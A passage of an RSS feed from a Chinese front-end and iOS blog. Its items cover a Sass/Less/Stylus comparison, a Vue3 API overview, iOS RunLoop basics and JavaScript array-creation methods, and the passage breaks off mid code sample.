&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;theme-color&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;content&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;#4285f4&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;🍀 &lt;strong&gt;&amp;ldquo;http- equiv&amp;quot;属性有以下配置项：&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>预处理器</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-021/</link><pubDate>Thu, 10 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-021/</guid><description>&lt;h3 id="前言"&gt;前言&lt;/h3&gt;
&lt;p&gt;花样不断的前端，貌似多技术方案并行，已经成了家常便饭。&lt;/p&gt;
&lt;p&gt;从大的框架开始，已经分裂react与vue派系。两者思维上虽然有相互不断的借鉴，但在大的方向思维上却是截然不同。而在react与vue的竞争以及相互较量的过程中，往往把其他的对手都干倒了，现在市场angular，jQuery等都逐步没落。&lt;/p&gt;
&lt;p&gt;预编译css也同样，曾经也有多个派系。而后在sass与less的不断竞争中，stylus等其他的编译器也逐步退出市场。本文的重点，对比预编译css，scss与less对比。&lt;/p&gt;
&lt;h3 id="基本介绍"&gt;基本介绍&lt;/h3&gt;
&lt;p&gt;先一起看看官方是如何定义或者介绍他们。&lt;/p&gt;
&lt;h4 id="sass"&gt;Sass&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;官方定义：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sass是一种基于Ruby的CSS预处理器，它可以扩展CSS语言，并添加许多其他功能，如变量、嵌套规则、Mixin、函数等。Sass文件以“.scss”扩展名保存，与标准CSS文件兼容，并且可以使用普通CSS代码和语法。Sass也有一个较早的语法格式，以“.sass”扩展名保存，使用缩进的语法来代替括号和分号，但它现在已经不那么流行了。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;个人理解：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;sass是&lt;strong&gt;第一个&lt;/strong&gt;流行的CSS预处理器，在2006年产生，这也为后续他用户量第一埋下伏笔。&lt;/p&gt;
&lt;h4 id="scss"&gt;Scss&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;官方定义：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Scss也是一种基于Ruby的CSS预处理器，它与Sass有很多相似之处，但是它的语法更接近标准CSS，使用花括号和分号。它是一种非常流行的CSS预处理器，与Sass相比，它更容易学习和使用，并且与现有的CSS代码更兼容。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;个人理解：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Scss是Sass的一种语法格式，由2007推出。这还要从sass的规范语法说起，最典型的就是Sass使用缩进来表示代码块。这使部分使用者比较别扭。而产生了Scss，基于花括号和分号的CSS语法格式，使得它更易于阅读和理解。随着时间的推移，Scss逐渐取代了Sass作为Sass的主要语法格式。&lt;/p&gt;
&lt;h4 id="less"&gt;Less&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;官方定义：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Less是一种基于JavaScript的CSS预处理器，它与Sass和Scss有很多相似之处，但它使用类似CSS的语法，并且更容易学习和使用。Less支持变量、Mixin、嵌套规则等功能，并且可以在客户端和服务器端使用。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;个人理解：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Less由2009推出，也是提供了一套完整的生态链。它的语法跟sass不同。Less的学习成本更低，更容易理解和编写。此外，Less的编译速度比Sass更快。&lt;/p&gt;
&lt;h4 id="stylus"&gt;Stylus&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;官方定义：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Stylus是一种基于JavaScript的CSS预处理器，它与Less、Sass和Scss有很多相似之处，但它的语法非常灵活，可以自由选择使用缩进或花括号来表示嵌套和块。Stylus还支持变量、Mixin、函数等功能，并且具有非常强大的插件系统，可以轻松地扩展其功能。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;个人理解：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Stylus也是曾经一个比较完善的预编译语言。 但市场份额却原来越少。个人的观点，一是的学习成本高一些，有入门的门槛。而是生态链的问题，sass跟less的有较完善的生态链，而Stylus更像一个独立的东西。&lt;/p&gt;
&lt;h4 id="postcss"&gt;PostCSS&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;官方定义：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;PostCSS不是一种独立的CSS预处理器，而是一个CSS处理工具集合，可以通过各种插件扩展其功能。PostCSS可以用于转换CSS语法、提供自动前缀、压缩CSS代码、处理嵌套规则、优化图片等。它不像其他预处理器那样提供自己的语言，而是基于现有的CSS语法。使用PostCSS可以通过插件来实现更多的自定义和灵活性，使其成为一个强大的CSS处理工具。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;个人理解：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;跟上述的其他的处理器不同，PostCSS不应该算是一个预处理器，但却是我们做适配，压缩等处理时的一个选择。&lt;/p&gt;
&lt;h3 id="数据分析"&gt;数据分析&lt;/h3&gt;
&lt;h4 id="市场占有率分析"&gt;市场占有率分析&lt;/h4&gt;
&lt;p&gt;我们借助npm官网统计工具对比，查看less与scss的数据量对比：&lt;/p&gt;
&lt;p&gt;链接： &lt;a href="https://npm-stat.com/charts.html?package=less"&gt;npm-stat.com/charts.html…&lt;/a&gt; &lt;a href="https://npm-stat.com/charts.html?package=sass"&gt;npm-stat.com/charts.html…&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-021/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;如上图，左侧为less的数据，右侧为scss的数据。&lt;/p&gt;
&lt;p&gt;我们可以通过统计清晰的看到。单单一个sass的下载量，基本达到less的两倍以上。此处还不包含sass阵营的其他工具，包括node-scss，dart-scss的下载量。&lt;/p&gt;
&lt;p&gt;可以得出结论：&lt;strong&gt;sass的使用量约为less的几倍&lt;/strong&gt;。（但此处有个值得一提的地方：统计为全球的用户量的统计，并非针对国内）&lt;/p&gt;
&lt;h4 id="组件库选择分析"&gt;组件库选择分析&lt;/h4&gt;
&lt;p&gt;从上述的数据中，我们了解到sass的使用量较多，但是国内出名的组件库，却是less居多。毕竟组件库，也代表我们的使用习惯之一。我们一起看看组件库的选择。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ant design&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;选择了Less，地址：&lt;a href="https://www.antdv.com/docs/vue/customize-theme-cn"&gt;www.antdv.com/docs/vue/cu…&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-021/image-02.webp"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;element&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;选择了scss，地址：&lt;a href="https://element.eleme.io/#/zh-CN/component/custom-theme"&gt;element.eleme.io/#/zh-CN/com…&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-021/image-03.webp"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;varlet&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;选择了Less，地址：&lt;a href="https://varlet.gitee.io/varlet-ui/#/zh-CN/migrationGuide"&gt;varlet.gitee.io/varlet-ui/#…&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-021/image-04.webp"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;vant&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;选择了Less，地址：&lt;a href="http://vant-contrib.gitee.io/vant/v3/#/zh-CN/theme"&gt;vant-contrib.gitee.io/vant/v3/#/z…&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-021/image-05.webp"&gt;&lt;/p&gt;
&lt;p&gt;结论：关于组件库的选择，Less还是占大多数，当然Scss也是部分组件库的选择。&lt;/p&gt;
&lt;h3 id="个人分析"&gt;个人分析&lt;/h3&gt;
&lt;h4 id="相同点"&gt;相同点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;都属于css语法编译的工具。&lt;/li&gt;
&lt;li&gt;工具提供的方法也很多雷同。如都支持嵌套，都支持混合器（Mixin），都支持扩展（Extend），都支持颜色函数，都支持变量等等。&lt;/li&gt;
&lt;li&gt;生态链都一致丰富，常用构建工具都基本支持，如webpack，vite, rollup等。&lt;/li&gt;
&lt;li&gt;社区支持都强，提供了大量的插件、工具和资源，可以帮助开发者更好地使用Sass。&lt;/li&gt;
&lt;li&gt;目的性也一致，都提高了CSS编写的效率和可维护性而产生。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="不同点"&gt;不同点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;部分语法不同，如Sass 和 SCSS 中的变量使用 &lt;code&gt;$&lt;/code&gt; 符号进行定义和引用，而不是 Less 中使用的 &lt;code&gt;@&lt;/code&gt; 符号&lt;/li&gt;
&lt;li&gt;Sass 和 Scss 还提供了一些 Less 没有的特性，例如控制流语句和继承等。&lt;/li&gt;
&lt;li&gt;Sass 和 Scss 是基于Ruby或者Dart，Node的预处理器，他需要借助机器安装这些环境来支持。而Less, 是基于JavaScript的CSS预处理器，引入一段JS即可编译，有浏览器还是服务端，他都能编译。&lt;/li&gt;
&lt;li&gt;虽然都有强大的社区，生态链。但总体还是Scss更丰富一些。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="特性分析"&gt;特性分析&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Node-Sass 在国内有一定的兼容性问题，但是基于Dart 语言编写的 Dart Sass以及解决了这个问题。还在使用Node-Sass的建议切换Dart Sass。&lt;/li&gt;
&lt;li&gt;Less 的语法相对于 Sass 更加简洁，易于学习和理解。这使得 Less 在国内开发者中更受欢迎，尤其是对于那些不太熟悉预处理器语言的开发者来说。&lt;/li&gt;
&lt;li&gt;Sass的阵营更丰富，使用量更高一些，市场份额也更加稳定。除了发家早，这也得益于生态圈，例如 Bootstrap、Foundation、Bulma、Vue.js 等，都在曾经的版本自带了Sass。&lt;/li&gt;
&lt;li&gt;国内组件库，还是Less居多，很多&amp;quot;高级前端&amp;quot;， 都觉得less 一直都比 sass 要稳定。至少不会出现Node版本，Python版本不一致等问题。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="结语"&gt;结语&lt;/h3&gt;
&lt;p&gt;所以Sass与Less谁更强？估计短期还是分不出成败。&lt;/p&gt;</description></item><item><title>Vue3 API</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue3-api/</link><pubDate>Sat, 05 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue3-api/</guid><description>&lt;h2 id="前言"&gt;📍前言&lt;/h2&gt;
&lt;p&gt;最近在一次理解&lt;code&gt;vue&lt;/code&gt;项目的代码时，发现周一对好多&lt;code&gt;API&lt;/code&gt;都不太熟悉。这间接导致的问题是，代码理解速度要比平常要慢很多。于是乎，赶忙把&lt;code&gt;vue API&lt;/code&gt;的学习提上了日程。&lt;/p&gt;
&lt;p&gt;在下面的文章中，将地板式地扫盲&lt;code&gt;vue3&lt;/code&gt;文档中&lt;code&gt;API&lt;/code&gt;模块的所有内容，融入周一的理解进行深入介绍。下面就来一起看看吧~🍬&lt;/p&gt;
&lt;h2 id="一框架搭建"&gt;一、🖇框架搭建&lt;/h2&gt;
&lt;h2 id="1关于文档"&gt;1、关于文档&lt;/h2&gt;
&lt;p&gt;首先附上官方文档的具体材料：&lt;a href="https://cn.vuejs.org/api/"&gt;cn.vuejs.org/api/&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="2vue3-api整体盘点"&gt;2、VUE3 API整体盘点&lt;/h2&gt;
&lt;p&gt;在&lt;code&gt;vue3&lt;/code&gt;的全新&lt;code&gt;API&lt;/code&gt;中，有部分在&lt;code&gt;vue2&lt;/code&gt;的基础上沿用了。还有另外一部分，是&lt;code&gt;vue3&lt;/code&gt;所新增加的。我们先来看&lt;code&gt;vue3 API&lt;/code&gt;文档主要包含哪些内容？&lt;/p&gt;
&lt;p&gt;&lt;code&gt;vue3 API&lt;/code&gt;主要包含以下六个部分：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;全局API —— 全局会用到的API&lt;/li&gt;
&lt;li&gt;组合式API —— vue3所拥有的组合式API&lt;/li&gt;
&lt;li&gt;选项式API —— vue2所拥有的选项式API&lt;/li&gt;
&lt;li&gt;内置内容 —— 指令、组件、特殊元素和特殊属性&lt;/li&gt;
&lt;li&gt;单文件组件 —— 语法定义、&lt;/li&gt;
&lt;li&gt;进阶API —— 渲染函数、服务端渲染、TS工具类型和自定义渲染&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue3-api/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;下面将依据上面提到的六大点内容，来进行相应的剖析和讲解。&lt;/p&gt;
&lt;h2 id="二全局api"&gt;二、🎨全局API&lt;/h2&gt;
&lt;p&gt;vue3的全局API包含两个部分：应用实例和通用API。那它们各自都有哪些内容呢？&lt;/p&gt;
&lt;h2 id="1应用实例"&gt;1、应用实例&lt;/h2&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue3-api/image-02.webp"&gt;&lt;/p&gt;
&lt;h2 id="2通用api"&gt;2、通用API&lt;/h2&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue3-api/image-03.webp"&gt;&lt;/p&gt;
&lt;h2 id="三组合式api"&gt;三、🚲组合式API&lt;/h2&gt;
&lt;p&gt;谈到&lt;code&gt;vue3&lt;/code&gt; ，相信大家最为熟悉的就是 &lt;code&gt;composition API&lt;/code&gt; 了，也就是 &lt;code&gt;组合式 API&lt;/code&gt; 。那么，&lt;code&gt;vue3&lt;/code&gt; 的 &lt;code&gt;组合式 API&lt;/code&gt; 都给我们带来了什么呢？&lt;/p&gt;
&lt;h2 id="1setup"&gt;1、setup&lt;/h2&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue3-api/image-04.webp"&gt;&lt;/p&gt;
&lt;h2 id="2响应式核心"&gt;2、响应式：核心&lt;/h2&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue3-api/image-05.webp"&gt;&lt;/p&gt;
&lt;h2 id="3响应式工具函数"&gt;3、响应式：工具函数&lt;/h2&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue3-api/image-06.webp"&gt;&lt;/p&gt;
&lt;h2 id="4响应式进阶"&gt;4、响应式：进阶&lt;/h2&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue3-api/image-07.webp"&gt;&lt;/p&gt;
&lt;h2 id="5生命周期钩子"&gt;5、生命周期钩子&lt;/h2&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue3-api/image-08.webp"&gt;&lt;/p&gt;
&lt;h2 id="6依赖注入"&gt;6、依赖注入&lt;/h2&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue3-api/image-09.webp"&gt;&lt;/p&gt;
&lt;h2 id="四选项式api"&gt;四、🌠选项式API&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;选项式API&lt;/code&gt; 即 &lt;code&gt;options API&lt;/code&gt; 。可能有的小伙伴会觉得它在 &lt;code&gt;vue2&lt;/code&gt; 项目下会更为常见一些。但在 &lt;code&gt;vue3&lt;/code&gt; 项目中，也是有一些 &lt;code&gt;选项式API&lt;/code&gt; 值得我们去挖掘的。那都有哪些内容呢，我们来一探究竟。&lt;/p&gt;</description></item><item><title>RunLoop</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/runloop/</link><pubDate>Wed, 27 May 2026 22:24:03 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/runloop/</guid><description>&lt;p&gt;RunLoop 是 iOS/macOS 中用于管理线程的事件循环机制。它的核心作用是让线程在有任务时处理任务，没有任务时进入休眠状态，从而避免线程退出并节省 CPU 资源。&lt;/p&gt;
&lt;p&gt;简单来说，RunLoop 就是一个 do-while 循环：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 伪代码
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;CFRunLoopRun&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;do&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 处理各种事件源
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 如果没有事件，线程休眠
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 有事件时被唤醒处理
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; (running);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="runloop-与线程的关系"&gt;RunLoop 与线程的关系&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;每个线程都有唯一对应的 RunLoop 对象&lt;/li&gt;
&lt;li&gt;主线程和子线程的 RunLoop 都采用懒加载机制，在第一次获取时才创建&lt;/li&gt;
&lt;li&gt;主线程的 RunLoop 由 &lt;code&gt;UIApplicationMain&lt;/code&gt; 内部首次获取并启动（调用链：&lt;code&gt;UIApplicationMain&lt;/code&gt; → &lt;code&gt;GSEventRunModal&lt;/code&gt; → &lt;code&gt;CFRunLoopRunSpecific&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;RunLoop 与线程是一一对应的，存储在一个全局字典（&lt;code&gt;__CFRunLoops&lt;/code&gt;）中&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-objc" data-lang="objc"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 获取当前线程的 RunLoop
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CFRunLoopRef runLoop &lt;span style="color:#f92672"&gt;=&lt;/span&gt; CFRunLoopGetCurrent();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NSRunLoop &lt;span style="color:#f92672"&gt;*&lt;/span&gt;runLoop &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [NSRunLoop currentRunLoop];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 获取主线程的 RunLoop
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CFRunLoopRef mainRunLoop &lt;span style="color:#f92672"&gt;=&lt;/span&gt; CFRunLoopGetMain();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NSRunLoop &lt;span style="color:#f92672"&gt;*&lt;/span&gt;mainRunLoop &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [NSRunLoop mainRunLoop];
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="runloop-的核心组成"&gt;RunLoop 的核心组成&lt;/h2&gt;
&lt;p&gt;RunLoop 包含以下几个核心概念：&lt;/p&gt;
&lt;h3 id="1-runloop-对象cfrunloopref"&gt;1. RunLoop 对象（CFRunLoopRef）&lt;/h3&gt;
&lt;p&gt;RunLoop 对象本身，管理整个事件循环。在代码层面对应 &lt;code&gt;CFRunLoopRef&lt;/code&gt; 类型。&lt;/p&gt;</description></item><item><title>数组常用方法</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-022/</link><pubDate>Fri, 08 Nov 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-022/</guid><description>&lt;p&gt;数组是 js 中最常用到的数据集合，其内置的方法有很多，熟练掌握这些方法，可以有效的提高我们的工作效率，同时对我们的代码质量也是有很大影响。&lt;/p&gt;
&lt;h2 id="一创建数组"&gt;一、创建数组&lt;/h2&gt;
&lt;h2 id="1使用数组字面量表示法"&gt;1.使用数组字面量表示法&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arr4&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; []; &lt;span style="color:#75715e"&gt;//创建一个空数组
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arr5&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;]; &lt;span style="color:#75715e"&gt;// 创建一个包含1项数据为20的数组
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arr6&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;lily&amp;#34;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#34;lucy&amp;#34;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#34;Tom&amp;#34;&lt;/span&gt;]; &lt;span style="color:#75715e"&gt;// 创建一个包含3个字符串的数组
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="2使用-array-构造函数"&gt;2.使用 Array 构造函数&lt;/h2&gt;
&lt;h3 id="无参构造"&gt;无参构造&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arr1&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Array(); &lt;span style="color:#75715e"&gt;//创建一个空数组
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="带参构造"&gt;带参构造&lt;/h3&gt;
&lt;p&gt;如果只传一个数值参数，则表示创建一个初始长度为指定数值的空数组&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arr2&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Array(&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 创建一个包含20项的数组
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;如果传入一个非数值的参数或者参数个数大于 1，则表示创建一个包含指定元素的数组&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arr3&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Array(&lt;span style="color:#e6db74"&gt;&amp;#34;lily&amp;#34;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#34;lucy&amp;#34;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#34;Tom&amp;#34;&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 创建一个包含3个字符串的数组
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;array4&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Array(&lt;span style="color:#e6db74"&gt;&amp;#39;23&amp;#39;&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// [&amp;#34;23&amp;#34;]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="3arrayof-方法创建数组es6-新增"&gt;3.Array.of 方法创建数组(es6 新增)&lt;/h2&gt;
&lt;p&gt;ES6 为数组新增创建方法的目的之一，是帮助开发者在使用 Array 构造器时避开 js 语言的一个怪异点。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Array.of()方法总会创建一个包含所有传入参数的数组，而不管参数的数量与类型。&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Array.&lt;span style="color:#66d9ef"&gt;of&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;);
